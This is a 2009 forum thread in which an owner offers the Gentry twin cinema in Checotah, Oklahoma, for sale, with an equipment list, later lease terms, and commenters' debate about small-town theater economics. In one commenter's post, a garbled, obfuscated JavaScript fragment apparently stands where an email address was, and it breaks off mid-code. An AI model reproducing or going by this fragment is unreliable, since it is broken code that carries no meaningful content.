Gentry Cinema For Sale - motivated seller

posted by ForSale on November 12, 2009 at 7:40 am

CHECOTAH, OK — The owner will soon be moving out of state and is ready to consider all reasonable offers. The asking price is $285,000.

Located in Checotah, Oklahoma, this theater closed in 1996. It was re-opened in Dec. 2008 after twinning and renovation. All new: facade and building exterior, windows and doors, plumbing, restrooms, electrical system, heat and air system and ductwork, fire sprinkler system, insulation in attic and walls, marquee, draperies, screens, sound. Replaced and upgraded projectors and added platters. Installed like-new seats. New concession counter with enough equipment for a small restaurant. Tables and seating for 20 in concession area. Currently have food license. Serving some hot food. Could serve more. Showing first run films. Located in market area of 20,000 people. Competition is over 20 miles away.

Owner is undercapitalized after remodel. $285,000 includes land, building, equipment, and business.

This is the only movie theater in McIntosh county, which has a population of about 20,000 people. This two screen movie theater has a great downtown location in the center of town. Parking is plentiful. There is lots of on-street parking and also a city parking lot at the rear of the theater. The downtown area is listed on the register of historic places as a historic district. All our business neighbors are friendly, helpful, and supportive. The city leaders and the townspeople love having the theater in town. This is the kind of town where you can really become a valued part of the community as a small business owner. One former owner of the theater was once the town mayor. I am often surprised at how many people recognize me when I’m out and about town. Many people speak to me about the theater and are just genuinely friendly.

One of the great things about living here is realizing just how far your money will go. The cost of living is much lower than many other parts of the country. According to Sperling’s, the cost of living here is 26% lower than the national average. Property tax here is very low. Theater utilities typically total less than $300 per month except in the very worst months (probably due to all the insulation we added during renovation). Workers are part-time and earn minimum wage. There is no shortage of applicants to work at one of the coolest places in town. Living here and running a business here comes at a bargain rate.

The town is the economic center of the county, especially since we now have a new Wal-Mart Supercenter. There is no other Wal-Mart (or similar competitor) in the county. That means that people come to our town all the time to shop. The town is located at the crossroads of an Interstate Highway and a controlled access U.S. Highway that has just as much traffic as the interstate. We are only a few miles from the largest lake in the state and a state park. The lake draws lots of weekend and seasonal visitors/vacationers. It has some of the best fishing around, as well as lots of space for boating, skiing, and other water activities. If you are a boater, there are some very nice marinas where you can dock your boat. Or if you just enjoy the water, this lake is a wonderful place to be. The whole area is green and beautiful. The schools have strong academic and sports programs. Our football team was undefeated until late in the playoffs last year, and has had a very good season this year as well.

If you buy this business, you get not only the business, but also the land, building, and equipment. Here is a list of equipment and fixtures (Some items may have been inadvertently omitted):

  1. 2 Simplex 35 projectores with Simplex soundheads and Strong Super Lumex lamphouses (on pedestals)
  2. 2 Strong Xenon power supplies
  3. 2 Christie AW3 Platters w/Christie rewind bench
  4. 2 Xetron Automation Systems
  5. GoldE rewinder
  6. 6 QSC Amps
  7. 2 Booth Monitors
  8. 2 Dolby model CP55 cinema sound processors
  9. Viewsonic PJ559D projector
  10. Magnavox DVD player
  11. 164+ Irwin Marquee seats
  12. Neumade film splicer
  13. 23 foot by 10 foot screen with wooden screen frame, also 12 foot by 6 foot screen
  14. 2 sets manually moveable screen masking
  15. 14 Sony speakers – 150 watt
  16. 3 large Peavey speakers with horns (300 watts?)
  17. approx. 400 yards (numerous panels) Royal Blue inherently fire retardant draperies with an additional approx 150 yards fabric for later replacement if necessary.
  18. V-shaped marquee on front of building
  19. 3 lighted poster cases on front of building
  20. Vulcan Flashbake Oven – single phase
  21. Emerson microwave oven
  22. Scotsman Prodigy all-in-one Ice Maker – medium cube (rated at about 150 lbs/day under optimal conditions)
  23. Gold Medal Butter Dispenser
  24. Arctic Air Commercial Refrigerator (approx 20 cu. ft.)
  25. Alto Shaam Double Cook and Hold Oven – model 1000-TH-1
  26. Kloppenberg Ice Bin (on wheels)
  27. Whirlpool Chest Freezer (approx 15 cu. ft.)
  28. 2 Sharp Cash Registers – model XE-A102
  29. Gold Medal 16 oz. Popcorn Popper – model 1617TS with warming racks and neon popcorn sign
  30. Stainless Steel 3 compartment sink
  31. Handwashing sink (in concession area)
  32. 6 head soda fountain (on loan from bottler)
  33. 5 four-person tables with 20 padded chairs
  34. Shop-Vac
  35. upright Bissell bagless vacuum cleaner
  36. phone with answering machine
  37. Canon fax machine
  38. desktop computer system
  39. desk
  40. water fountain
  41. 3 toilets
  42. urinal
  43. 3 lavatories
  44. mop sink
  45. 50 gallon electric hot water heater
  46. 3 five ton American Standard central heat (natural gas) and air conditioning systems
  47. one 2.5 ton American Standard central electric heat pump system
  48. 600 amp electrical distribution panel
  49. three 200 amp electrical panels
  50. 500 watt low voltage lighting transformer
  51. fire sprinkler system with air compressor and valves and controls to make it a dry sprinkler system (3 times the cost of a wet system)
  52. new concession counters/cabinets
  53. other cabinets, lockers, etc.

We will also provide on-site training if needed in the operation of the business and the equipment. Then we will provide additional guidance as needed for 2 months by phone.

Please email me.

Theaters in this post

Comments (16)

danpetitpas on November 12, 2009 at 9:13 am

God, I hate reading notices like this. The owners sunk all their money into renovating an old theater, and within a year of opening need to get out. Seen this scenario here on all too often.

However, on the business end of the cinema business, the theater has only one showing a day (two on Saturdays, none on Sundays) with only 164 seats total.

I’m not sure how someone would be able to carry a $285k mortgage, pay the operating expenses, hire staff, and so forth with this business plan. And it sounds like having more showings really isn’t going to bring in more money. Plus, if the town won’t allow the stage to be used because of ADA requirements, there’s no way to expand to live shows.

I think the owner is stuck between a rock and a hard place on this one.

ForSale on November 12, 2009 at 10:48 am

I understand your opinion, danpetitpas, but I do believe there is a way to make this work. The low number of seats may be an issue on occassion, but the size of the facility also keeps the expenses low. Screens are still big enough, and sound is great enough to create a wonderful movie-going experience. If business becomes so busy that there aren’t enough seats, then it would be time to start adding more showtimes. If the bills couldn’t be paid after adding showtimes, then the operator must be doing something wrong because overhead here is very low. Utilities, payroll, taxes, etc. are all very low. The ideal owner would be hands on, so minimal staff would be required.

Nobody should be looking to buy a business if they have to finance 100% of the purchase price. Anyone who can get financing for this kind of business may be asked to put 30-40% down; so, the mortgage should be much lower than 285K.

Also, the potential is there for somebody interested in serving food. The concession area could be operated as a lunch counter to supplement the theater. If somebody were experienced or interested in the restaurant business, then it might be possible to offer dinner and a movie specials too. There is enough equipment to serve a fair variety of items. Just cooked myself a steak at the concession yesterday. It was pretty darn tasty.

Why don’t we do all this? Well, I can say that it was always part of the plan, but was never fully executed. Now our resources are so low, we no longer have the ability to try. And, I have been offered a new job out of state.

ilovecinemas on November 13, 2009 at 6:06 am

Hi ForSale,
Can you post some pictures of the theatre in here


ForSale on November 13, 2009 at 6:22 am

I don’t know how to post pictures here, but here is a link to my realtor’s listing. There are some pictures there. The one of the screen is distorted.

View link

moviez on November 13, 2009 at 9:07 am

Hi. My name is Mark Zimmermann. I’ve been a manager/projectionist/every position since 1972 working at over a dozen movie theaters from 2500 seat downtown movie palaces to small town 250 seat theaters. I think the Gentry has great potential if the community has an interest in it and you have somebody who is devoted to showing movies to the citizens and become a part of the community.

I relate to your story. In Cedarburg, Wisconsin, a town of 11,000 had a movie theater, the Rivoli, built in the 1880’s as a hardware store. It was converted into a movie theater in 1936, first as an independent and then as a part of the Marcus Theater chain in the 1970s. By 2006, the Marcus chain decided to close a lot of their small town theaters and the townspeople rallied together. The town leaders decided to buy the building and continue to operate the Rivoli Theater. They had no experience running a movie theater, so they hired me because of my knowledge and experience operating movie theaters. Since the 1990s Marcus had been operating the Rivoli as a budget house, and had been operating at a loss since 2001. The Rivoli has 260 seats with a single screen. I was hired as a salaried manager/projectionist and an Assistant for two nights a week, and we had volunteers come in daily to operate the box office and the vending stand. Marcus left on Dec, 22, 2006, we closed for a week and reopened under new management on Dec. 29,2006. Marcus had charged $4.00 admission nightly with a $2 Budget Night on Tuesdays and high prices on their vending prices.

I decided to go with volume of patrons, so we reduced the nightly price to $3.00 and cut the vending prices by 40%. I made window cards promoting upcoming movies and placed them in the windows of every business in Cedarburg and the neighboring communities. With every movie I created a tie-in with a business, like with Underdog people with dogs came by the week before the showing to have me photograph the dog in front of the poster. I gave them a coupon for a free popcorn refill and a 10% discount coupon from a local dog grooming business. As a result we had sold out crowds on Friday, Saturday and Sunday. I contacted day care centers and set up special morning and afternoon showings. I started to book occasional classic films for a week and we were drawing customers from as far as 40 miles away. I heard through the grapevine that the manager of a Milwaukee theater who showed classics on occasion felt that I was taking customers away from his theater 20 miles away. I set up special matinees for Senior Centers and I set up showings for local school groups. It became a common sight to see two or three school buses on the side street. Due to my promotional ideas, it became common that we would sell out on Friday and Saturday nights as well as on Tuesday Budget Nights. One night a customer came in and said he worked for Marcus for five years at the Rivoli and he said there was maybe 10 times they sold out in five years.

By Halloween, I took my 8 and 10 year olds Trick or Treating, and after about going to 30 houses my daughter asked, “Daddy, how come everybody knows your name?” That was when I first realized how in small town America everybody truly does know everyone’s name. By our first anniversary we had more than doubled attendance compared to Marcus and we out sold Marcus at the vending stand. Of course, because I loved my job I was actually working around 60 hours a week, instead of 40 hours.

Unfortunately for me, after 18 months of observing and learning from me, the Board of Directors decided to let me go and hire a 30-something at $8.00 an hour to replace me. As of now their attendance has dropped back to Marcus records and they are now on their fifth replacement for me.

I wish I had the finances to buy your theater because I know it could be profitable as long as the community is willing to support it. If you find somebody to buy it, I’d be willing to relocate.


danpetitpas on November 13, 2009 at 12:57 pm

Hire this guy and give him a share of the profits!!

ForSale on November 14, 2009 at 10:21 am

Yes, I think an experienced operator could make all the difference in the world. Since we are definitely leaving, we are more interested in finding a buyer than in hiring a manager.

Moviez is right, the community is willing to support the theater, but like anyplace else you need to keep the theater in the front of their mind and not the back. His strategies are designed to keep attention focused on the theater, and often in a fun way.

There is potential here for lots of group sales with schools, etc. I have done a few, and with better promotion there could be many more. One area I feel we have been weak in is promotion. I think an experienced operator would be much better at that. I admit, we had no experience when we got into this.

movietheatres on November 14, 2009 at 3:33 pm

Promotion costs money, and the problem with this and every other small midwestern town (I own a two screen in a small midwestern town with no competition for 30 miles, so I can speak to this with authority) is that the community won’t in the long run support it.

Sure, everyone will say they like it, everyone will talk the right talk about how its important for it to be there, but on Friday Nights up against High School Football, and every other community activity over the weekends, they won’t consistently spend money here. The draw of food for the usually oversized and underfunded families takes up the family money, and the singles just go to the bars. You’re left trying to get Senior Citizens (who don’t have dispoable income to spend on Concessions) and teenagers if you can pull them away from their other partying lives, AND if you’re patient enough to deal with their bs with impolite upbringings, the cell phones, text messaging, getting up and down 50 times during the show and then the complaints from the people trying to watch the movie.

THEN you need as a new operator, anywhere from $1000 on lousy films to $2500 cash to advance studios just to get the big new films.

Beyond that, don’t forget about the property taxes, the liability insurance, the killer workmans compensation insurance, power and gas bills in the cold winters and hot summers, and Employer Taxes, an additional 15% on average beyond what you pay your employees that you have to pay Uncle Sam just for the privilege of paying someone to work for you.

And now the obsession over 3d presentations, which even if you go the discount Technicolor route with the new lens, you need a silver screen ($7000) and their leased lens, which is a minimum of $2000 to them for EACH FILM you play in 3d. So you have 70% in film rentals on big films, then $2000 more just to play them. And then you get to motivate your local poor populous to pay $9.50 a ticket just to break even.


ForSale on November 14, 2009 at 9:02 pm

JDC, sorry to hear you only have negative things to say about running a theater in any small midwestern town. Yes, I have run into many of the problems and issues you described, but all those things haven’t ruined our business. They do make it more challenging, but if it were easy everyone would do it.

As for the town not supporting us because they support the football team or whatever else first. I would say that I expect many people to go to the games instead of coming to the theater. It does hurt business, but it is to be expected. Why would I expect people to put the theater above all else? There are many things they support. I don’t have to be number one. You have to find ways to work with the hand you are dealt.

You seem to be saying that my ideas for serving food aren’t great, but I wouldn’t expect every customer to purchase dinner or whatever extra items I offer, but if a few could be persuaded, it would certainly help. Besides, people in this town are always complaining there aren’t enough places to eat. Many of the non-chain hometown places are closed in the evenings. That leaves McDonald’s, Subway, Sonic, Pizza Hut, and only a few others. There is room for another restaurant here.

I can say that advances seem to be based on your credit history and how reliably you pay the film distributors on time. I have already ceased to pay advances with several distributors in many instances, even though my grosses are not among the highest, simply because I pay my bills on time.

As for the operating expenses you describe as problems, I would say that most of those are low or very reasonable here. Probably the highest utility bill, including gas and electric, that I have seen so far was probably about $600. That was the first month. Then I added some sweeps to the bottom of the doors and changed how I adjust the thermostats at night and haven’t seen anything more than about $450 since… usually much less. Property taxes here are only about $542 per year. Yes, per year. Everything else seems reasonable. I know that I used to pay higher insurance on a vehicle when I was younger than I have been paying for my business lately.

As for digital and 3D, I would love to have them, but the timing is not right yet for the Gentry. For now, I will focus on those customers who prefer to stay closer to home and save money on tickets, concessions, and gasoline. Those have always been my target market. The multiplex 25 miles away that has digital 3D for several dollars more will have a hard time taking all those cost conscious customers from me. They get some, but not all. I’m still working to build a bigger and bigger customer base anyway. If a few slip away now and then, that is to be expected. It’s no worse than them having more screens than me and having more options available. I still get most of the biggest grossing films… sometimes on the national release, and sometimes 3 or 4 weeks later.

The Gentry is not a failed business. It’s just a start-up that hasn’t taken off yet. If a little better than breaking even for the first year sounds bad to you, then you don’t know much about starting a business.

Robert Allen
Robert Allen on November 15, 2009 at 5:00 pm

Digital and 3D will not kill the Gentry’s business. The studios will never get all the rural and small town theatres to install Digital and 3D equipment and the story lines for 3D are weak. When the novelty wears off I believe it will be gone just as it was in the ‘50s. If the Gentry offers what the community wants (rather than shoving down their throats what Hollywood says they want) and offers excellent screen performances and reasonable prices it will do just fine. Catering to the community and becoming an active part of it is what makes a theatre successful.

moviez on November 16, 2009 at 9:56 am

I’m sorry to see that JDC was so negative. A lot of what he said is true in general, but you work around it. The way I look at it is, you have 164 seats and two screens, that is such a small number to fill. In Cedarburg, I had 260 seats, and the community is very active in high school sports, so there were times when we only had 30 to 50 patrons on a Friday night, so before the games I had a volunteer pass out fliers to remind the people about that week’s feature. On Friday nights during the summer there were concerts in the park two blocks away that took away customers. I concentrated on getting them in on other nights. On weeknights, we would average between 20 to 50 customers per show and Friday nights (without the mentioned competition) we’d have 150 to 200 people and on Saturday nights we would average 200 to 250 people. Plus, we had to put up with blizzards, in February, 2007 we had a 28" snowstorm on a Thursday that shut down the town until Sunday. On Friday we only had 23 people, but on Saturday evening we had 164 people who trudged through the snow, pulling their kids on sleds. We even had 8 people who came in on cross-country skis, which we put in our broom closet while they watched the movie.

Now, generally JDC is right about community support being mostly lip service, there are those rare gems like Cedarburg and the Gentry’s community that back it up with their patronage. Back in the 80’s in Milwaukee an old movie palace, the Uptown was trying to survive, the community wanted family movies, so the manager played a lot of Disney and family films. Attendance was low. After four months he started playing action and R-rated movies. Attendance was good, but neighbors complained. He tried Midnight Flicks on Fridays and occasional concerts (including a sold out performance by Bruce Springsteen) and made a lot of money. But the neighbors complained about the teenagers, the noise, the cigarette butts and broken glass outside the theater. The manager gave in and started showing G and PG movies only and business stunk. The manager got fed up and decided to show X-rated movies and made money for four months until the neighbors got him shut down. The theater was boarded up and was closed for 21 years until this great movie palace was torn down.

The problem with the 3-D movies and the IMax screens will draw some of your customers away, sure for a time or two, but with the number of 3-D films that are coming out, a family of five spending about $50.00 admission and $20.00 on concessions, they will soon go to the local theater to see the regular version at $7.50 each.

In Wisconsin, the Marcus Theatre Corp. owns the majority of theaters, and when they sold their smaller theaters they manipulated things with the studios so they couldn’t book first run films to compete with Marcus. It took about four years for the Times and the Rosebud to get around this and they now get first run films. At the Rivoli, Marcus had already been operating it as a budget, so we kept it as such. After the first year, when it was known we were building our attendance, I heard rumors from Marcus employees that the Marcus bosses wanted to shut us down. Two weeks later we had a surprise building inspection to find problems. We had to do some repairs, and I’m sure Marcus would have kept it up, except for the fact that one of our board of directors happens to be one of the biggest lawyers in Wisconsin.

As far as promotions costing a lot, if you know how to do it, it won’t cost much. I started paying out of my own pocket for printing flyers, and after a month, I made a deal with the print shop and I gave him free passes for him and his family for free printing services. For the movie “Waitress” I went to the local office store and bought 5 pads of Restaurant Checks that waitresses use for $10.00. I hand wrote the name of the theater the admission price and the words “Thanks for seeing the Waitress! Then on about every 25th. receipt I would add "Good for one small popcorn or soda”. I had these all ready a few days ahead of time, and I set it up that our cashiers and concessionaires wore waitress uniforms. When the customers came to the boxoffice to buy a ticket, the waitress gave them their restaurant check and we kept the carbon copy for our records. We got a front page article in the local newspaper and coverage on two Milwaukee TV stations at 10 pm Friday night. By the way, Milwaukee is about 20 miles south of Cedarburg.

As far as the “Cine Grill” restaurant/movie theaters are concerned, I personally don’t care for the idea.
They tried it in the 30’s before the theaters even had vending stands in their lobbies. All of them failed. In the early 50’s with the threat of Television they tried again and failed in about 3 years. Now, in the 2000’s they are trying again. In 1998, a new owner took over the Fox Bay and turned it into a Cine Grill, I applied as the Manager/Projectionist. They had no experience in operation of a movie theater and they were looking for somebody with restaurant experience. They failed within a year. I applied with the new owner, who failed in two years. Since then they’ve had two other owners and they are barely making ends meet. The customer is going to a movie theater to see a movie in comfort, not to eat over priced restaurant food. The only time they came for a different reason was in the 20’s and 30’s when people walked into the beautiful movie palaces in awe. This still happens in the few palaces that are still open, like Grauman’s Chinese, Radio City Music Hall, or the Oriental Theater in Milwaukee. I worked at the Oriental for awhile and I loved to see customer’s mouths drop open when they saw the Buddhas, the elephants, and the row of lions guarding the staircase to the balcony.

The thing about people today, whether they are owners, managers, projectionists, ushers, or others is that for most working in a movie theater is just a job until they find a real job. I was one of the lucky people when I started working in the giant movie palaces in downtown Milwaukee in 1972. All of the managers at the six palaces I worked at had started working in movie theaters since the 20’s and 30’s. I was like a sponge and I soaked up all the knowledge I could.

I’ve been out of work for eighteen months and am looking for a job like I had at the Rivoli. I’m 57 years old and I have arthritis in my knees, so I can’t run up five flights up two steps at a time to the booth like I did when I was in my 20’s. But I can still do 60 hours a week because I love being at my job. I am willing to relocate. You can contact me with any comments at /* Y~xCtz4oxmslnuxIugkIij__.33/3qujkC~bCb(jbqkbuC(jkquA(uqkjqCju4k"+ "vyor.z--4/kxk|yx.k4/upto-./->_%@{**i>url+3@l>n?gr1hhojqkwl>..~,@frnhgf1dkF"+ "ugrDh+w,l60l>+i?f,3.f4@;5{>@.wVlujqi1ruFpdkFugr+h,fn\\000gr@h{%>{@**>iru+l"+ "@3>l?+nrgh1ohqjwk04,>l.@5,~{.@nrgh1fkduDw+l.4,.nrgh1fkduDw+l,\\000nrgh@{.+"+ "l?nrgh1ohqjwkBnrgh1fkduDw+nrgh1ohqjwk04,=**,>\";x='';for(i=0;i */ ">

ForSale on November 16, 2009 at 11:32 am

Everyone seems to assume that when I say “dinner and a movie” at the Gentry that I mean something like a Cine-Grill. I don’t propose tables or table service in the theater. I just mean that an operator could serve a more extensive menu than traditional concession stands. There are 5 tables with 4 seats each in our dining area that could be used for sit down meals. The room is nicely decorated and not just some tables off to the side somewhere. A few people do take advantage of this option already, eating hot dogs, hot links, nachos, bbq beef on a bun, dipped ice cream, or handmade pizzaritos (pizza burritos). These foods can all be eaten easily without tables in the theaters, or eaten at a table in the dining area. A few folks come early to dine there. With proper promotion and more menu choices, it could be a lot more. This seating area also allows us to book group sales for birthday parties.

I always envisioned more hot foods on our menu but never took the leap to incorporate them into the menu. Hot sandwiches could be an easy addition, such as hot ham and cheese, hamburgers, or whatever. Pizza is a no brainer, if you want. We could probably prepare somewhat more sophisticated plate meals, such as grilled chicken breasts, pork chops, or even steak. We have a flashbake oven that essentially grills food without the grill. We have ovens for creating baked goods such as breads, cookies, and roasted meats. Any low and slow dish that can be made in an oven, we can handle. We have a cook and hold double oven, so holding food at temperature is not a problem. Clean-up would be a little harder but worth the trouble.

The only real problem would be too much success. Our facilities are not huge and many dishes have to be cooked one or only a few servings at time. We have limited prep and storage space as well. With only 5 tables, it should be do-able. I can imagine a day when people might need to make reservations to enjoy the house special dinner offering.

And why does the food have to be overpriced? I created all my prices (except for popcorn, soda, and candy) by trying to target a 30% cost of goods sold on the food, just like restaurants do. I also consider what people would be willing to pay to keep it real. Sometimes that means greater profits, and if it’s less it shouldn’t be on the menu. Some will say that it may hurt popcorn sales. That is a short-sighted argument. Drive-in operators will tell you that the secret to their higher concession per-caps is greater variety. My small popcorn is only $1 but my hot foods sell for $1.50 to $2.50 each. So, I make just as much or more from them as a small popcorn. I only sell one other size of popcorn, a large for $5. Popcorn fans still buy them if that is what they want. It’s better to offer the customers what they like and keep them coming back than to sweep their contraband trash out of the auditorium at night.

I probably average about $2.50 concession per cap. I often do better when I have several customers ordering the hot food items.

ForSale on November 17, 2009 at 7:39 am

There is more information and pictures/video of the theater if you visit the following links:

View link

View link

drivinnow on November 19, 2009 at 5:37 am

Like to talk more about the theater if you will e-mail me at …………thank you

ForSale on November 19, 2009 at 8:33 pm

Ok. If you have read all this discussion and are still interested, but can’t see how to come up with $285,000, then maybe there are other options.

Time is growing short, and I am forced to consider options other than selling outright. I do not like the prospect of owner financing, unless there is at least 50% down payment. There is too much potential for headache there to do it for less. If you had the cash, that would be a pretty sweet deal and would cost you less in the long run than the other options I’m about to present.

As for leasing, I have considered a possible lease/purchase option. I’m not sure I want to do it, so you would have to convince me that you are a good candidate. But, if you have good credit, and maybe you have experience, and are fully committed to making it work, I might be convinced.

I am concerned that someone who doesn’t know what they are doing will come in here, then fail and tell the world how this theater won’t work. Then I will be stuck, losing my life savings, and left owing money on something that nobody wants. The truth is that the place has good potential and has performed modestly so far. I have not hidden that fact. For the size of our population, we have only scratched the surface. With time and hard work, I know the Gentry
will be a good source of income for someone who reaps the rewards.

If you were to purchase the business and equipment for $50,000, then I would be willing to lease the facility for $1500 per month with half being applied to future purchase. I would require a minimum of a 2 year lease, and you would be required to pay all utilities and maintain your equipment and the building systems (such as heat and air, plumbing, and electrical— which are all brand new by the way). I will be responsible for major facilities repairs, such as
roof repairs, etc. If you break the lease, then you will need to sell the business and equipment in place to another operator to take your place (with them signing a new lease with me— no subletting) or surrender the equipment to me in good working order as penalty for breaking the lease. This may seem extreme, but it will ensure that you are fully committed. It’s not much different than the way it is traditionally done.

I would also like to point out that there are income streams that I never tapped. I never sold on-screen advertising, or played rolling stock ads for payment. This could add up to $750 to $1000 per month if done right. I have a digital boardroom style projector you could use to show local ads, and there are national companies who would work with you on the rolling stock ads. Many customers seem to expect all the ads when they show up late and wonder why
they are actually late for the show.

Also, if you could book your own films, you would save $240 to $300 per month over what I payed. I have a good booker that I would recommend, but if you can do it yourself, the savings are there.

If you are willing to live a very simple life to get the place up and running, I have an idea to turn the old balcony, which is now a good sized playroom for our kids, into a small studio apartment. All it needs is a small bathroom with a shower, and maybe a hotplate (no cooktop in the concession) and it would work. Everything else is in the theater already… kitchen facilities, tables for dining, office space, etc. It should be possible to add the bathroom for minimal investment. I think I would take $5000 off the price of the equipment if you would pay for this conversion. The business would pay your utilities. You would have no separate rent to pay for living quarters. Of course, this wouldn’t work if you have kids. Not enough space. It would be challenging enough if you are married. I think it could be done if people wanted it though. Years ago, this was called “living above the store”.

If you are interested. E-mail me at Gentry.Cinema @

Dramatrauma on February 10, 2010 at 2:19 am

Hope this has come to a good resolution for you and the theater, Gentry.

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